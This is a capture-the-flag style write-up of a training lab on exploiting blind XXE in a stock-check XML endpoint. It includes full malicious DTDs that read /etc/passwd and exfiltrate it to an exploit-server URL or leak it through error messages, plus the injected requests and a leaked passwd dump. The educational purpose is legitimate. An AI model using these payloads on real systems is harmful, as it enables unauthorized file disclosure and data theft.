Exploiting blind XXE to retrieve data via error messages
Description
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd
file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.s
Approach
After accessing the lab, I encountered a POST request sending XML data to the backend:
POST /product/stock HTTP/2
Host: 0a4f002204d58d2982d54c6800870045.web-security-academy.net
Cookie: session=MS8UN2RlKbU7UsaeLcL6IuE7NKWkDXzg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Since this lab about blind XXE i won't be trying the default XXE techniques and i will be taking another road. Like the previous lab i was giving an exploit server to use and that's going to be so handy. I will be taking the same steps as the previous lab by hosting a malicious DTD file on that exploit server that will be reading and fetching the content of the /etc/passwd
file.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % stacked "<!ENTITY % exfil SYSTEM 'https://exploit-**********.com/?x=%file;'>">
%stacked;
%exfile;
and then I will be calling that DTD with an external entity that i will inject in the POST /product/stock
request
POST /product/stock HTTP/2
Host: 0a4f002204d58d2982d54c6800870045.web-security-academy.net
Cookie: session=MS8UN2RlKbU7UsaeLcL6IuE7NKWkDXzg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://exploit-0a8c00820373d89d858612f50157002b.exploit-server.net/malicious">
%xxe;
%stacked;
%exfil;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
this didn't work so what i will be doing is try to trigger an error and hoping that error will be revealing the data i want to exfiltrate. and to do that i will modify my malicious file to be
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///thispathdoesnexist/%file;'>">
%eval;
%error;
as you can now when i will try to load my malicious DTD file it will read the content of the /etc/passwd
and save it to the file entity then it will try and and send through an HTTP request the content of a at this localtion /thispathdoesnexist
with knowing that the file name it is looking for is the /etc/passwd
content since this will error it, logically it will say that file doesn't exist calling its name which in my case is the content of /etc/passwd
and that\s how i leaked the data trough error messages.
now by resending the POST /product/stock
to load the malicious DTD again
POST /product/stock HTTP/2
Host: 0a4f002204d58d2982d54c6800870045.web-security-academy.net
Cookie: session=MS8UN2RlKbU7UsaeLcL6IuE7NKWkDXzg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a4f002204d58d2982d54c6800870045.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 254
Origin: https://0a4f002204d58d2982d54c6800870045.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0a8c005904388dfa82214b5001bb00a2.exploit-server.net/exploit">
%xxe;
%eval;
%error;]>
<stockCheck>
<productId>1</productId>
<storeId>3</storeId>
</stockCheck>
i can see at the response an error message that reveals the content of the /etc/passwd
file
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
by leaking the content of /etc/passwd
file the lab is solved.